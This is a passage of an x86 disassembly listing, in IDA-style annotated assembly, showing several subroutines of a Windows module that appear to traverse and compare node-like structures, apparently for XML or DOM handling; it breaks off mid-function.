		push	eax
		mov	ecx, esi
		call	sub_69B47D9F
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B49C46


loc_69B49C76:				; CODE XREF: sub_69B49C1F+44j
		test	edi, edi
		jnz	short loc_69B49CA8


loc_69B49C7A:				; CODE XREF: sub_69B49C1F+14j
					; sub_69B49C1F+25j
		cmp	[ebp+arg_4], 0Fh
		jnz	short loc_69B49CA8
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_69B49CA8
		push	ebx
		call	sub_69B3DABE
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_69B49CA7
		push	[ebp+arg_0]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		push	eax
		mov	ecx, ebx
		call	sub_69B8B06D
		mov	edi, eax


loc_69B49CA7:				; CODE XREF: sub_69B49C1F+72j
		pop	ebx


loc_69B49CA8:				; CODE XREF: sub_69B49C1F+59j
					; sub_69B49C1F+5Fj ...
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_69B49C1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B49CB0	proc near		; CODE XREF: sub_69B4A3A9j

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jz	short loc_69B49CCE
		cmp	[ebp+arg_8], ecx
		jz	short loc_69B49CCE
		push	[ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_69B484DF
		jmp	short loc_69B49CDB
; ---------------------------------------------------------------------------


loc_69B49CCE:				; CODE XREF: sub_69B49CB0+7j
					; sub_69B49CB0+Cj
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B49C1F


loc_69B49CDB:				; CODE XREF: sub_69B49CB0+1Cj
		pop	ebp
		retn	0Ch
sub_69B49CB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B49CDF	proc near		; CODE XREF: sub_69B49D8E+79p
					; sub_69B49E5A+32p ...

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	eax, [edi]
		xor	esi, esi
		call	dword ptr [eax+118h]
		test	al, al
		jnz	short loc_69B49D56
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, edi
		call	sub_69B49BB6
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B49D56


loc_69B49D07:				; CODE XREF: sub_69B49CDF+71j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		test	eax, eax
		jz	short loc_69B49D41
		xor	eax, eax
		mov	al, [esi+0Bh]
		and	eax, 1Fh
		cmp	eax, [ebp+arg_8]
		jnz	short loc_69B49D41
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jz	short loc_69B49D32
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		cmp	ebx, [eax+14h]
		jnz	short loc_69B49D41


loc_69B49D32:				; CODE XREF: sub_69B49CDF+45j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		mov	ecx, [ebp+arg_4]
		cmp	ecx, [eax+0Ch]
		jz	short loc_69B49D52


loc_69B49D41:				; CODE XREF: sub_69B49CDF+31j
					; sub_69B49CDF+3Ej ...
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, edi
		call	sub_69B47D9F
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B49D07


loc_69B49D52:				; CODE XREF: sub_69B49CDF+60j
		test	esi, esi
		jnz	short loc_69B49D85


loc_69B49D56:				; CODE XREF: sub_69B49CDF+15j
					; sub_69B49CDF+26j
		cmp	[ebp+arg_8], 0Fh
		jnz	short loc_69B49D85
		mov	ecx, [ebp+arg_C]
		test	ecx, ecx
		jz	short loc_69B49D85
		call	sub_69B3DABE
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_69B49D85
		push	[ebp+arg_4]
		mov	eax, [edi]
		push	[ebp+arg_0]
		mov	ecx, edi
		call	dword ptr [eax+38h]
		push	eax
		mov	ecx, ebx
		call	sub_69B8B0A6
		mov	esi, eax


loc_69B49D85:				; CODE XREF: sub_69B49CDF+75j
					; sub_69B49CDF+7Bj ...
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_69B49CDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B49D8E(LPCWSTR lpString, int, int)

sub_69B49D8E	proc near		; CODE XREF: sub_69B4097C+7Dp
					; sub_69B40A6C+94p ...

var_4		= dword	ptr -4
lpString	= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+lpString]
		lea	eax, [ebp+lpString]
		push	eax
		push	edi
		mov	ebx, ecx
		call	sub_69B31F88
		test	al, al
		jnz	short loc_69B49DBC
		push	0
		push	0C00CE505h
		push	80070057h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B49DBC:				; CODE XREF: sub_69B49D8E+18j
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+0B4h]
		mov	esi, [eax+70h]
		xor	eax, eax
		cmp	[ebp+lpString],	eax
		mov	[ebp+var_4], eax
		mov	ecx, esi
		jz	short loc_69B49DF2
		push	[ebp+lpString]	; int
		push	edi		; lpString
		push	eax		; int
		call	sub_69B4D394
		mov	[ebp+var_4], eax
		mov	eax, [ebp+lpString]
		push	0FFFFFFFFh
		lea	eax, [edi+eax*2+2]
		push	eax
		push	0
		mov	ecx, esi
		jmp	short loc_69B49DF6
; ---------------------------------------------------------------------------


loc_69B49DF2:				; CODE XREF: sub_69B49D8E+45j
		push	0FFFFFFFFh	; int
		push	edi		; lpString
		push	eax		; int


loc_69B49DF6:				; CODE XREF: sub_69B49D8E+62j
		call	sub_69B4D394
		push	[ebp+arg_8]
		mov	ecx, ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	eax
		call	sub_69B49CDF
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B49E51
		cmp	[ebp+arg_4], 0Fh
		jnz	short loc_69B49E51
		push	edi		; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	edi
		call	sub_69B3D5BC
		test	al, al
		jz	short loc_69B49E51
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1Eh
		mov	esi, eax
		jg	short loc_69B49E3C
		call	sub_69B2E6D8


loc_69B49E3C:				; CODE XREF: sub_69B49D8E+A7j
		push	[ebp+arg_8]
		mov	eax, [esi+84h]
		push	0Fh
		push	eax
		mov	ecx, ebx
		call	sub_69B49C1F
		mov	esi, eax


loc_69B49E51:				; CODE XREF: sub_69B49D8E+82j
					; sub_69B49D8E+88j ...
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B49D8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B49E5A	proc near		; CODE XREF: sub_69B435DC+B7p
					; sub_69B538B4+9Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		mov	edi, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	esi, [edi+8]
		push	esi
		mov	ebx, ecx
		call	sub_69B49C1F
		test	eax, eax
		jnz	short loc_69B49E91
		mov	edi, [edi+0Ch]
		test	edi, edi
		jz	short loc_69B49E91
		push	[ebp+arg_8]
		mov	esi, [esi+14h]
		push	[ebp+arg_4]
		mov	ecx, ebx
		push	edi
		push	esi
		call	sub_69B49CDF


loc_69B49E91:				; CODE XREF: sub_69B49E5A+1Cj
					; sub_69B49E5A+23j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_69B49E5A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B49E98	proc near		; CODE XREF: sub_69B418FC+4Bp
					; sub_69B4A5F8+17p ...

var_4		= byte ptr -4

		push	ecx
		push	esi
		mov	esi, ecx
		test	byte ptr [esi+0Ah], 0Ch
		push	edi
		jnz	short loc_69B49F05
		mov	eax, [esi]
		call	dword ptr [eax+108h]
		mov	edi, eax
		mov	al, [esi+0Bh]
		and	al, 1Fh
		cmp	al, 0Bh
		jnz	short loc_69B49ED2
		test	edi, edi
		jnz	short loc_69B49ED2
		lea	eax, [esp+0Ch+var_4]
		push	eax
		mov	ecx, esi
		call	sub_69B49BB6
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+108h]
		mov	edi, eax


loc_69B49ED2:				; CODE XREF: sub_69B49E98+1Cj
					; sub_69B49E98+20j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+118h]
		test	al, al
		jz	short loc_69B49EF3
		mov	ecx, esi
		call	sub_69B49504
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+108h]
		mov	edi, eax


loc_69B49EF3:				; CODE XREF: sub_69B49E98+46j
		test	edi, edi
		jz	short loc_69B49F05
		mov	eax, [edi+8]
		shr	eax, 14h
		test	al, 1
		jnz	short loc_69B49F05
		mov	eax, edi
		jmp	short loc_69B49F07
; ---------------------------------------------------------------------------


loc_69B49F05:				; CODE XREF: sub_69B49E98+9j
					; sub_69B49E98+5Dj ...
		xor	eax, eax


loc_69B49F07:				; CODE XREF: sub_69B49E98+6Bj
		pop	edi
		pop	esi
		pop	ecx
		retn
sub_69B49E98	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B49F0B	proc near		; CODE XREF: sub_69B173D1+209p
					; sub_69B173D1+3FFp ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	edi
		mov	esi, ecx
		call	sub_69B49BB6
		test	eax, eax
		jz	short loc_69B49F3A


loc_69B49F1D:				; CODE XREF: sub_69B49F0B+27j
		mov	ecx, [eax+8]
		shr	ecx, 14h
		test	cl, 1
		jz	short loc_69B49F34
		push	edi
		mov	ecx, esi
		call	sub_69B47D9F
		test	eax, eax
		jnz	short loc_69B49F1D


loc_69B49F34:				; CODE XREF: sub_69B49F0B+1Bj
		test	eax, eax
		jz	short loc_69B49F3A
		mov	[edi], eax


loc_69B49F3A:				; CODE XREF: sub_69B49F0B+10j
					; sub_69B49F0B+2Bj
		pop	edi
		pop	esi
		retn	4
sub_69B49F0B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B49F3F	proc near		; CODE XREF: sub_69B42D4C+55p

var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_5		= dword	ptr -5
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		xor	ebx, ebx
		cmp	[ebp+arg_0], ebx
		mov	esi, ecx
		push	edi
		mov	[ebp+var_C], esi
		jz	loc_69B4A041
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_69B2FB5A
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_69B4A041
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		mov	edi, eax
		cmp	dword ptr [edi+0E4h], 1
		lea	eax, [ebp+var_1C]
		setz	byte ptr [ebp+var_5]
		push	[ebp+var_5]
		mov	[ebp+var_10], edi
		push	eax
		lea	eax, [ebp+var_1]
		push	eax
		push	[ebp+arg_0]
		call	sub_69B5EEC0
		test	al, al
		jz	short loc_69B49FDE
		cmp	byte ptr [ebp+var_5], bl
		mov	al, [ebp+var_1]
		push	edi
		jnz	short loc_69B49FC1
		neg	al
		mov	ecx, esi
		sbb	eax, eax
		and	eax, 0Fh
		push	eax
		push	[ebp+var_18]
		push	[ebp+var_14]
		call	sub_69B49CDF
		jmp	loc_69B4A043
; ---------------------------------------------------------------------------


loc_69B49FC1:				; CODE XREF: sub_69B49F3F+66j
		neg	al
		sbb	eax, eax
		and	eax, 0Fh
		push	eax
		push	[ebp+var_1C]
		push	[ebp+var_14]
		call	sub_69B192E9
		push	eax
		mov	ecx, esi
		call	sub_69B49C1F
		jmp	short loc_69B4A043
; ---------------------------------------------------------------------------


loc_69B49FDE:				; CODE XREF: sub_69B49F3F+5Dj
		push	ebx
		lea	ecx, [ebp+var_28]
		call	sub_69B11D3B
		mov	ecx, edi
		call	sub_69B3D903
		push	ebx
		push	4
		mov	edi, eax
		mov	eax, [edi]
		push	ebx
		push	[ebp+arg_0]
		mov	ecx, edi
		call	dword ptr [eax+38h]
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+44h]
		push	ebx
		push	[ebp+var_C]
		mov	esi, eax
		mov	eax, [esi]
		push	ebx
		mov	ecx, esi
		call	dword ptr [eax+48h]
		lea	ecx, [ebp+arg_0]
		call	sub_69B47D22
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		lea	ecx, [ebp+arg_0]
		mov	esi, eax
		call	sub_69B47D46
		lea	ecx, [ebp+var_28]
		call	sub_69B1976C
		mov	ecx, [ebp+var_10]
		push	edi
		call	sub_69B3D3BC
		mov	eax, esi
		jmp	short loc_69B4A043
; ---------------------------------------------------------------------------


loc_69B4A041:				; CODE XREF: sub_69B49F3F+13j
					; sub_69B49F3F+28j
		xor	eax, eax


loc_69B4A043:				; CODE XREF: sub_69B49F3F+7Dj
					; sub_69B49F3F+9Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B49F3F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4A04A	proc near		; CODE XREF: sub_69B14EAC+2Bp
					; sub_69B4B8FE+5Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1Fh
		push	esi
		mov	esi, eax
		jg	short loc_69B4A05D
		call	sub_69B2E6D8


loc_69B4A05D:				; CODE XREF: sub_69B4A04A+Cj
		push	[esp+4+arg_4]
		mov	eax, [esi+88h]
		mov	ecx, [esp+8+arg_0]
		push	0Fh
		push	eax
		call	sub_69B49C1F
		pop	esi
		retn	8
sub_69B4A04A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4A077	proc near		; CODE XREF: sub_69B4A0ED+24p
					; sub_69B4A73D+23p

arg_0		= dword	ptr  4

		push	edi
		mov	edi, ecx
		mov	eax, [edi]
		call	dword ptr [eax+3Ch]
		mov	ecx, [edi+0Ch]
		cmp	byte ptr [ecx+7Dh], 0
		jz	short loc_69B4A08C
		xor	eax, eax
		jmp	short loc_69B4A0E4
; ---------------------------------------------------------------------------


loc_69B4A08C:				; CODE XREF: sub_69B4A077+Fj
		push	ebx
		push	ebp
		push	esi
		push	dword ptr [eax+8]
		call	sub_69B3DABE
		mov	ecx, eax
		call	sub_69B8B04F
		mov	ebx, [esp+10h+arg_0]
		mov	ebp, eax
		test	ebp, ebp
		jz	short loc_69B4A0DB
		push	ebx
		mov	ecx, ebp
		call	sub_69B48F23
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B4A0CD


loc_69B4A0B6:				; CODE XREF: sub_69B4A077+62j
		mov	eax, [esi]
		push	0
		push	0Fh
		mov	ecx, esi
		call	dword ptr [eax+38h]
		push	eax
		mov	ecx, edi
		call	sub_69B49C1F
		test	eax, eax
		jz	short loc_69B4A0E8


loc_69B4A0CD:				; CODE XREF: sub_69B4A077+3Dj
		push	ebx
		mov	ecx, ebp
		call	sub_69B486B5
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B4A0B6


loc_69B4A0DB:				; CODE XREF: sub_69B4A077+2Fj
		xor	esi, esi
		mov	[ebx], esi


loc_69B4A0DF:				; CODE XREF: sub_69B4A077+74j
		mov	eax, esi
		pop	esi
		pop	ebp
		pop	ebx


loc_69B4A0E4:				; CODE XREF: sub_69B4A077+13j
		pop	edi
		retn	4
; ---------------------------------------------------------------------------


loc_69B4A0E8:				; CODE XREF: sub_69B4A077+54j
		or	dword ptr [ebx], 1
		jmp	short loc_69B4A0DF
sub_69B4A077	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4A0ED	proc near		; CODE XREF: sub_69B405D3:loc_69B405F2p
					; sub_69B4A621j ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	al, [esi]
		and	al, 1
		push	edi
		mov	ebx, ecx
		mov	byte ptr [ebp+arg_0+3],	al
		jnz	short loc_69B4A121
		push	esi
		call	sub_69B486B5
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B4A118
		push	esi
		mov	ecx, ebx
		call	sub_69B4A077
		mov	edi, eax


loc_69B4A118:				; CODE XREF: sub_69B4A0ED+1Fj
					; sub_69B4A0ED+78j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_69B4A121:				; CODE XREF: sub_69B4A0ED+13j
		mov	ecx, [esi]
		xor	ecx, 1
		mov	eax, [ecx]
		mov	[ebp+arg_0], ecx
		call	dword ptr [eax+0F4h]
		mov	[ebp+var_4], eax


loc_69B4A134:				; CODE XREF: sub_69B4A0ED+6Ej
		mov	ecx, [ebp+var_4]
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_69B486B5
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B4A167
		mov	eax, [edi]
		push	0
		push	0Fh
		mov	ecx, edi
		call	dword ptr [eax+38h]
		push	eax
		mov	ecx, ebx
		call	sub_69B49C1F
		test	eax, eax
		jnz	short loc_69B4A134
		mov	eax, [ebp+arg_0]
		or	eax, 1
		mov	[esi], eax
		jmp	short loc_69B4A118
; ---------------------------------------------------------------------------


loc_69B4A167:				; CODE XREF: sub_69B4A0ED+57j
		and	dword ptr [esi], 0
		jmp	short loc_69B4A118
sub_69B4A0ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4A16C	proc near		; CODE XREF: sub_69B4A201+44p
					; sub_69B4A76D+21p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+0Ch]
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_69B4A19A
		cmp	[edi+8Dh], bl
		jnz	short loc_69B4A19A
		mov	ebp, dword_69B95A84
		cmp	dword ptr [ebp+8], 7
		jg	short loc_69B4A194
		call	sub_69B2E6D8


loc_69B4A194:				; CODE XREF: sub_69B4A16C+21j
		mov	eax, [ebp+28h]
		push	ebx
		jmp	short loc_69B4A1AF
; ---------------------------------------------------------------------------


loc_69B4A19A:				; CODE XREF: sub_69B4A16C+Dj
					; sub_69B4A16C+15j
		mov	ebp, dword_69B95A84
		cmp	dword ptr [ebp+8], 12h
		jg	short loc_69B4A1AB
		call	sub_69B2E6D8


loc_69B4A1AB:				; CODE XREF: sub_69B4A16C+38j
		mov	eax, [ebp+54h]
		push	edi


loc_69B4A1AF:				; CODE XREF: sub_69B4A16C+2Cj
		push	0Fh
		mov	ecx, esi
		push	eax
		call	sub_69B49C1F
		cmp	eax, ebx
		jz	short loc_69B4A1F8
		mov	esi, [esp+10h+arg_0]
		push	ebx
		push	1
		push	ebx
		mov	ecx, eax
		mov	[esi], bl
		call	sub_69B4AAFC
		mov	ecx, eax
		cmp	ecx, ebx
		jz	short loc_69B4A1F4
		cmp	[edi+8Dh], bl
		push	offset aPreserve ; "preserve"
		jz	short loc_69B4A1E8
		call	sub_69B2EF04
		jmp	short loc_69B4A1ED
; ---------------------------------------------------------------------------


loc_69B4A1E8:				; CODE XREF: sub_69B4A16C+73j
		call	sub_69B2EF33


loc_69B4A1ED:				; CODE XREF: sub_69B4A16C+7Aj
		test	al, al
		jz	short loc_69B4A1F4
		mov	byte ptr [esi],	1


loc_69B4A1F4:				; CODE XREF: sub_69B4A16C+66j
					; sub_69B4A16C+83j
		mov	al, 1
		jmp	short loc_69B4A1FA
; ---------------------------------------------------------------------------


loc_69B4A1F8:				; CODE XREF: sub_69B4A16C+4Fj
		xor	al, al


loc_69B4A1FA:				; CODE XREF: sub_69B4A16C+8Aj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_69B4A16C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4A201	proc near		; CODE XREF: sub_69B40333+Dp
					; sub_69B4506C+8Ap ...

var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp+var_1], 0
		call	sub_69B490AC
		test	al, al
		jz	short loc_69B4A25A


loc_69B4A215:				; CODE XREF: sub_69B4A201+2Bj
					; sub_69B4A201+35j
		mov	[ebp+var_1], 1


loc_69B4A219:				; CODE XREF: sub_69B4A201+3Aj
					; sub_69B4A201+4Bj ...
		mov	al, [ebp+var_1]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B4A21F:				; CODE XREF: sub_69B4A201+5Bj
		xor	eax, eax
		mov	al, [esi+0Bh]
		and	eax, 1Fh
		jz	short loc_69B4A23F
		cmp	eax, 2
		jz	short loc_69B4A215
		cmp	eax, 4
		jle	short loc_69B4A24E
		cmp	eax, 6
		jle	short loc_69B4A215
		cmp	eax, 0Fh
		jz	short loc_69B4A219
		jmp	short loc_69B4A24E
; ---------------------------------------------------------------------------


loc_69B4A23F:				; CODE XREF: sub_69B4A201+26j
		lea	eax, [ebp+var_1]
		push	eax
		mov	ecx, esi
		call	sub_69B4A16C
		test	al, al
		jnz	short loc_69B4A219


loc_69B4A24E:				; CODE XREF: sub_69B4A201+30j
					; sub_69B4A201+3Cj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F4h]
		mov	esi, eax


loc_69B4A25A:				; CODE XREF: sub_69B4A201+12j
		test	esi, esi
		jnz	short loc_69B4A21F
		jmp	short loc_69B4A219
sub_69B4A201	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4A260	proc near		; CODE XREF: sub_69B173D1+4BDp
					; sub_69B173D1+589p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	esi, ecx
		push	22h
		mov	ecx, ebx
		call	sub_69B8A903
		mov	eax, [esi+8]
		shr	eax, 12h
		and	eax, 3
		xor	edi, edi
		sub	eax, edi
		jz	short loc_69B4A2D9
		dec	eax
		dec	eax
		jz	short loc_69B4A2B4
		dec	eax
		jnz	loc_69B4A36F
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+11Ch]
		cmp	eax, edi
		jz	loc_69B4A36F
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		push	eax
		mov	ecx, ebx
		call	sub_69B8A970
		jmp	loc_69B4A36F
; ---------------------------------------------------------------------------


loc_69B4A2B4:				; CODE XREF: sub_69B4A260+25j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+110h]
		cmp	eax, edi
		jz	loc_69B4A36F


loc_69B4A2C6:				; CODE XREF: sub_69B4A260+85j
		push	edi
		push	dword ptr [eax+8]
		mov	ecx, ebx
		push	dword ptr [eax+0Ch]
		call	sub_69B8A9BB
		jmp	loc_69B4A36F
; ---------------------------------------------------------------------------


loc_69B4A2D9:				; CODE XREF: sub_69B4A260+21j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+110h]
		cmp	eax, edi
		jnz	short loc_69B4A2C6
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_69B49F0B
		jmp	short loc_69B4A369
; ---------------------------------------------------------------------------


loc_69B4A2F4:				; CODE XREF: sub_69B4A260+10Dj
		xor	eax, eax
		mov	al, [edi+0Bh]
		and	eax, 1Fh
		dec	eax
		jz	short loc_69B4A32E
		sub	eax, 0Ah
		jnz	short loc_69B4A34B
		push	26h
		mov	ecx, ebx
		call	sub_69B8A903
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+3Ch]
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		push	eax
		mov	ecx, ebx
		call	sub_69B8A970
		push	3Bh
		mov	ecx, ebx
		call	sub_69B8A903
		jmp	short loc_69B4A34B
; ---------------------------------------------------------------------------


loc_69B4A32E:				; CODE XREF: sub_69B4A260+9Dj
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+110h]
		test	eax, eax
		jz	short loc_69B4A34B
		push	0
		push	dword ptr [eax+8]
		mov	ecx, ebx
		push	dword ptr [eax+0Ch]
		call	sub_69B8A9BB


loc_69B4A34B:				; CODE XREF: sub_69B4A260+A2j
					; sub_69B4A260+CCj ...
		mov	eax, [edi+8]
		shr	eax, 0Ch
		test	al, 1
		jz	short loc_69B4A35E
		push	20h
		mov	ecx, ebx
		call	sub_69B8A903


loc_69B4A35E:				; CODE XREF: sub_69B4A260+F3j
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_69B47DCC


loc_69B4A369:				; CODE XREF: sub_69B4A260+92j
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B4A2F4


loc_69B4A36F:				; CODE XREF: sub_69B4A260+28j
					; sub_69B4A260+3Aj ...
		push	22h
		mov	ecx, ebx
		call	sub_69B8A903
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_69B4A260	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4A37F	proc near		; DATA XREF: .text:69B15328o
					; .text:69B1DD78o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	dword ptr [ecx+0Ch]
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_69B49C1F
		retn	8
sub_69B4A37F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4A392	proc near		; DATA XREF: .text:69B15324o
					; .text:69B1DD74o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	dword ptr [ecx+0Ch]
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_69B49CDF
		retn	0Ch
sub_69B4A392	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame thunk


sub_69B4A3A9	proc near		; DATA XREF: .text:69B15330o
					; .text:69B1DD80o
		jmp	sub_69B49CB0
sub_69B4A3A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4A3AE	proc near		; CODE XREF: sub_69B4A3AE+15Ap
					; sub_69B4A528+42j

var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	esi, ecx
		test	byte ptr [esi+0Ah], 0Ch
		mov	[ebp+var_10], esi
		jnz	short loc_69B4A3D0
		mov	eax, [esi]
		call	dword ptr [eax+118h]
		test	al, al
		jnz	loc_69B4A525


loc_69B4A3D0:				; CODE XREF: sub_69B4A3AE+10j
		push	edi
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, esi
		call	sub_69B49F0B
		xor	edi, edi
		cmp	eax, edi
		jz	loc_69B4A524
		mov	esi, eax
		push	ebx
		mov	[ebp+var_14], esi
		xor	ebx, ebx
		mov	[ebp+var_4], edi


loc_69B4A3F1:				; CODE XREF: sub_69B4A3AE+170j
		test	esi, esi
		jz	short loc_69B4A42B
		mov	al, [esi+0Bh]
		and	al, 1Fh
		cmp	al, 1
		jnz	short loc_69B4A42B
		test	ebx, ebx
		jnz	short loc_69B4A404
		mov	ebx, esi


loc_69B4A404:				; CODE XREF: sub_69B4A3AE+52j
		mov	eax, [esi]
		mov	ecx, esi
		mov	[ebp+var_4], esi
		call	dword ptr [eax+110h]
		test	eax, eax
		jz	loc_69B4A50D
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+110h]
		add	edi, [eax+8]
		jmp	loc_69B4A50D
; ---------------------------------------------------------------------------


loc_69B4A42B:				; CODE XREF: sub_69B4A3AE+45j
					; sub_69B4A3AE+4Ej
		test	ebx, ebx
		jz	loc_69B4A4E0
		cmp	ebx, [ebp+var_4]
		jz	loc_69B4A4D8
		test	edi, edi
		jle	short loc_69B4A44D
		push	edi
		push	0
		call	sub_69B190D7
		mov	[ebp+var_C], eax
		jmp	short loc_69B4A451
; ---------------------------------------------------------------------------


loc_69B4A44D:				; CODE XREF: sub_69B4A3AE+90j
		and	[ebp+var_C], 0


loc_69B4A451:				; CODE XREF: sub_69B4A3AE+9Dj
		and	[ebp+var_8], 0


loc_69B4A455:				; CODE XREF: sub_69B4A3AE+105j
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+110h]
		test	eax, eax
		jz	short loc_69B4A49C
		mov	edx, [ebp+var_C]
		test	edx, edx
		jz	short loc_69B4A49C
		mov	ecx, [eax+8]
		mov	esi, [eax+0Ch]
		mov	eax, [edx+0Ch]
		mov	edx, [ebp+var_8]
		shl	ecx, 1
